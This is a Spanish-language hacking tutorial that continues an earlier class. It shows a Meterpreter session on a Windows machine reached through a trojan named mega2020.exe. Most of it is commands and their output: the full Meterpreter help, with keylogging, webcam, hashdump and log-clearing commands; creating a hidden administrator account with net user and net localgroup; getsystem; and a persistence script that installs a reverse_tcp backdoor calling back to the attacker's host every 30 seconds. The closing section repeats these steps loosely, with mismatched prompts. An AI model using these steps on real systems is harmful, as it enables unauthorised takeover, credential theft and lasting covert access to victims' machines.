\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Esta clase va ligada a la anterior, ahora vamos a ver algunos comandos interesantes desde la sección de meterpreter, crearemos usuarios, le daremos privilegios, crearemos carpetas las eliminaremos y entre otras cosas vamos a crear una puerta trasera para que la victima tenga conexión automática con nosotros muy útil si es que se cae la sección iniciada.

Con el comando help vamos a ver las opciones que nos brinda el meterpreter

meterpreter > help

Core Commands

=============

Command Description

------- -----------

? Help menu

background Backgrounds the current session

bg Alias for background

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread

channel Displays information or control active channels

close Closes a channel

disable\_unicode\_encoding Disables encoding of unicode strings

enable\_unicode\_encoding Enables encoding of unicode strings

exit Terminate the meterpreter session

get\_timeouts Get the current session timeout values

guid Get the session GUID

help Help menu

info Displays information about a Post module

irb Open an interactive Ruby shell on the current session

load Load one or more meterpreter extensions

machine\_id Get the MSF ID of the machine attached to the session

migrate Migrate the server to another process

pivot Manage pivot listeners

pry Open the Pry debugger on the current session

quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module

secure (Re)Negotiate TLV packet encryption on the session

sessions Quickly switch to another session

set\_timeouts Set the current session timeout values

sleep Force Meterpreter to go quiet, then re-establish session.

transport Change the current transport mechanism

use Deprecated alias for "load"

uuid Get the UUID for the current session

write Writes data to a channel

Stdapi: File system Commands

============================

Command Description

------- -----------

cat Read the contents of a file to the screen

cd Change directory

checksum Retrieve the checksum of a file

cp Copy source to destination

dir List files (alias for ls)

download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

lcd Change local working directory

lls List local files

lpwd Print local working directory

ls List files

mkdir Make directory

mv Move source to destination

pwd Print working directory

rm Delete the specified file

rmdir Remove directory

search Search for files

show\_mount List all mount points/logical drives

upload Upload a file or directory

Stdapi: Networking Commands

===========================

Command Description

------- -----------

arp Display the host ARP cache

getproxy Display the current proxy configuration

ifconfig Display interfaces

ipconfig Display interfaces

netstat Display the network connections

portfwd Forward a local port to a remote service

resolve Resolve a set of host names on the target

route View and modify the routing table

Stdapi: System Commands

=======================

Command Description

------- -----------

clearev Clear the event log

drop\_token Relinquishes any active impersonation token.

execute Execute a command

getenv Get one or more environment variable values

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process

getsid Get the SID of the user that the server is running as

getuid Get the user that the server is running as

kill Terminate a process

localtime Displays the target system's local date and time

pgrep Filter processes by name

pkill Terminate processes by name

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer

steal\_token Attempts to steal an impersonation token from the target process

suspend Suspends or resumes a list of processes

sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands

===============================

Command Description

------- -----------

enumdesktops List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle

keyboard\_send Send keystrokes

keyevent Send key events

keyscan\_dump Dump the keystroke buffer

keyscan\_start Start capturing keystrokes

keyscan\_stop Stop capturing keystrokes

mouse Send mouse events

screenshare Watch the remote user's desktop in real time

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Stdapi: Webcam Commands

=======================

Command Description

------- -----------

record\_mic Record audio from the default microphone for X seconds

webcam\_chat Start a video chat

webcam\_list List webcams

webcam\_snap Take a snapshot from the specified webcam

webcam\_stream Play a video stream from the specified webcam

Stdapi: Audio Output Commands

=============================

Command Description

------- -----------

play play an audio file on target system, nothing written on disk

Priv: Elevate Commands

======================

Command Description

------- -----------

getsystem Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

================================

Command Description

------- -----------

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

========================

Command Description

------- -----------

timestomp Manipulate file MACE attributes

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Con el siguiente comando vamos a ver el nombre de usuario con el que accedimos

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Con getpid vamos a ver ennumer del proseso con el cual accedimos

meterpreter > getpid

Current pid: 1524

Con ps veremos el listado de procesos que estan activos dentro de nuestra victima entre esos vamos a ver el proceso del ejecutable mega2020.exe que creamos nosotros.

meterpreter > ps

Process List

============

PID PPID Name Arch Session User Path

--- ---- ---- ---- ------- ---- ----

0 0 [System Process]

4 0 System x64 0

104 2344 firefox.exe x86 1 WIN-OLLU9KG29C5\Administrador C:\Program Files (x86)\Mozilla Firefox\firefox.exe

208 4 smss.exe x64 0

308 300 csrss.exe x64 0

368 476 svchost.exe x64 0 NT AUTHORITY\SERVICIO LOCAL C:\Windows\System32\svchost.exe

372 364 csrss.exe x64 1

380 300 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe

408 364 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe

476 380 services.exe x64 0

484 380 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe

540 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe

572 476 svchost.exe x64 0 NT AUTHORITY\Servicio de red C:\Windows\System32\svchost.exe

680 408 dwm.exe x64 1 Window Manager\DWM-1 C:\Windows\System32\dwm.exe

700 476 svchost.exe x64 0 NT AUTHORITY\SERVICIO LOCAL C:\Windows\System32\svchost.exe

744 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe

808 476 svchost.exe x64 0 NT AUTHORITY\SERVICIO LOCAL C:\Windows\System32\svchost.exe

872 476 svchost.exe x64 0 NT AUTHORITY\Servicio de red C:\Windows\System32\svchost.exe

1012 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe

1040 476 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe

1072 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe

1092 476 dfsrs.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\dfsrs.exe

1132 104 firefox.exe x86 1 WIN-OLLU9KG29C5\Administrador C:\Program Files (x86)\Mozilla Firefox\firefox.exe

1168 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe

1192 476 inetinfo.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\inetsrv\inetinfo.exe

1252 476 svchost.exe x64 0 NT AUTHORITY\Servicio de red C:\Windows\System32\svchost.exe

1260 2544 conhost.exe x64 1 WIN-OLLU9KG29C5\Administrador C:\Windows\System32\conhost.exe

1288 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe

1328 476 wlms.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wlms\wlms.exe

1524 2412 mega2020.exe x86 1 WIN-OLLU9KG29C5\Administrador C:\Users\Administrador\Downloads\mega2020.exe

1680 476 dfssvc.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\dfssvc.exe

1812 476 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.exe

1840 476 sppsvc.exe x64 0

1972 476 svchost.exe x64 0 NT AUTHORITY\Servicio de red C:\Windows\System32\svchost.exe

2060 104 firefox.exe x86 1 WIN-OLLU9KG29C5\Administrador C:\Program Files (x86)\Mozilla Firefox\firefox.exe

2236 744 taskhostex.exe x64 1 WIN-OLLU9KG29C5\Administrador C:\Windows\System32\taskhostex.exe

2260 2412 notepad.exe x64 1 WIN-OLLU9KG29C5\Administrador C:\Windows\System32\notepad.exe

2412 2324 explorer.exe x64 1 WIN-OLLU9KG29C5\Administrador C:\Windows\explorer.exe

2544 2412 cmd.exe x64 1 WIN-OLLU9KG29C5\Administrador C:\Windows\System32\cmd.exe

2668 476 msdtc.exe x64 0 NT AUTHORITY\Servicio de red C:\Windows\System32\msdtc.exe

2792 2412 WzPreloader.exe x64 1 WIN-OLLU9KG29C5\Administrador C:\Program Files\WinZip\WzPreloader.exe

3048 104 firefox.exe x86 1 WIN-OLLU9KG29C5\Administrador C:\Program Files (x86)\Mozilla Firefox\firefox.exe

Luegao vamos a abrir una shell para hacer algunos trabajos en la victima

meterpreter > shell

Process 2820 created.

Channel 2 created.

Microsoft Windows [Versi�n 6.3.9600]

(c) 2013 Microsoft Corporation. Todos los derechos reservados.

Ahora comenzamos a movernos dentro de los directorios de Windows. “ recuerden que ustedes van a aparecer en la carpeta de descarga de Windows”.

C:\Windows\system32>cd

cd

C:\Windows\system32

C:\Windows\system32>cd ..

cd ..

listamos las carpetas para ver su contenido..

ahora que estamos en la carpeta descarga vamos a trabajar dentro de ella….

C:\Users\Administrador\Downloads>DIR

DIR

07/12/2019 08:06 p.m. <DIR> ..

06/12/2019 05:09 p.m. 73.802 mega2020.exe

05/12/2019 08:49 p.m. 136 privado.txt

2 archivos 73.938 bytes

2 dirs 46.035.324.928 bytes libres

2 archivos 73.938 bytes

2 dirs 46.035.324.928 bytes libres

Ahora vamos a ver los usuarios que tiene la victima…

C:\Users\Administrador\Downloads>net user

net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------

Administrador computaxioaxion2010 computaxion2021

Invitado

El comando se ha completado con uno o m�s errores.

Bien teniendo en cuenta los usuarios que tiene ahora vamos a crear uno nosotros….

C:\Users\Administrador\Downloads>net user computaxion /add

net user computaxion /add

Se ha completado el comando correctamente.

Bien vemos que se creo correctamente y chequeamos que asi sea con el siguiente comando….

C:\Users\Administrador\Downloads>net user

net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------

Administrador computaxioaxion2010 computaxion

computaxion2021 Invitado

El comando se ha completado con uno o m�s errores.

help

C:\Users\Administrador\Downloads>net localgroup administradores computaxion /add

net localgroup administradores computaxion /add

Se ha completado el comando correctamente.

C:\Users\Administrador\Downloads>net user

Ahora crearemos una carpeta llamada computaxion

C:\Users\Administrador\Downloads>mkdir computaxion

mkdir computaxion

C:\Users\Administrador\Downloads>cd computaxion

cd computaxion

C:\Users\Administrador\Downloads\computaxion>dir

dir

El volumen de la unidad C no tiene etiqueta.

El n�mero de serie del volumen es: 8E25-9581

Directorio de C:\Users\Administrador\Downloads\computaxion

07/12/2019 08:24 p.m. <DIR> .

07/12/2019 08:24 p.m. <DIR> ..

0 archivos 0 bytes

2 dirs 46.034.792.448 bytes libres

Creamos otra carpeta llamada 123 dentro de la carpeta computaxion

C:\Users\Administrador\Downloads\computaxion>mkdir 123

mkdir 123

luego eliminamos la carpeta llamada 123

C:\Users\Administrador\Downloads\computaxion>rmdir 123

rmdir 123

Salimos dela Shell y pasamos al prom de meterpreter

C:\Users\Administrador\Downloads\computaxion>exit

Exit

En el prom de meterpreter le damos el siguiente comando

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Ahora sabiendo que tenemos acceso como administrador atravez de la técnica 1 vamos a tratar de crear una puerta trasera “persistente” para que nuestra victima se conecte cada determinado tiempo a nuestra maquina kali

meterpreter > run persistence -x -u -i 30 -p 4444 -r 192.168.52.128

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence\_exe.

[!] Example: run post/windows/manage/persistence\_exe OPTION=value [...]

[\*] Running Persistence Script

[\*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-OLLU9KG29C5\_20191207.2906/WIN-OLLU9KG29C5\_20191207.2906.rc

[\*] Creating Payload=windows/meterpreter/reverse\_tcp LHOST=192.168.52.128 LPORT=4444

[\*] Persistent agent script is 99664 bytes long

[+] Persistent Script written to C:\Users\ADMINI~1\AppData\Local\Temp\1\xxNdbjuBKfjS.vbs

[\*] Executing script C:\Users\ADMINI~1\AppData\Local\Temp\1\xxNdbjuBKfjS.vbs

[+] Agent executed with PID 488

Con el comando background salimos de la sección de meterpreter pero sin perder la conexión

meterpreter > background

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

meterpreter > shell

Process 2984 created.

Channel 1 created.

Microsoft Windows [Version 6.3.9600]

(c) 2013 Microsoft Corporation. Todos los derechos reservados.

Con el siguiente comando vamos a ver los usuarios actuales dentro de la maquina victima.

root@computaxion:~# net user

Luego vamos a crear nuestro usuario.

root@computaxion:~# net user computaxion /add

Luego vamos a ver los grupos que conforman dentro de la víctima, esto nos ayuda a la hora de dar privilegios en que idioma está el sistema operativo y si tiene grupos de administrador

C:\Users\Administrador\Downloads>net localgroup

Ahora sabiendo que tiene grupo de administradores vamos a integrar a nuestro usuario dentro del grupo de los admin.

C:\Users\Administrador\Downloads>net localgroup administradores computaxion /add

C:\>getsystem

Directorio de C:\

02/07/2019 10:39 p.m. <DIR> computaxion

02/07/2019 02:31 a.m. <DIR> inetpub

03/07/2019 11:08 p.m. <DIR> Nueva carpeta

22/08/2013 12:52 p.m. <DIR> PerfLogs

02/07/2019 10:54 p.m. <DIR> Program Files

02/07/2019 02:26 a.m. <DIR> Program Files (x86)

02/07/2019 01:00 a.m. <DIR> Users

02/07/2019 02:30 a.m. <DIR> Windows

0 archivos 0 bytes

8 dirs 48.700.579.840 bytes libres

C:\>cd users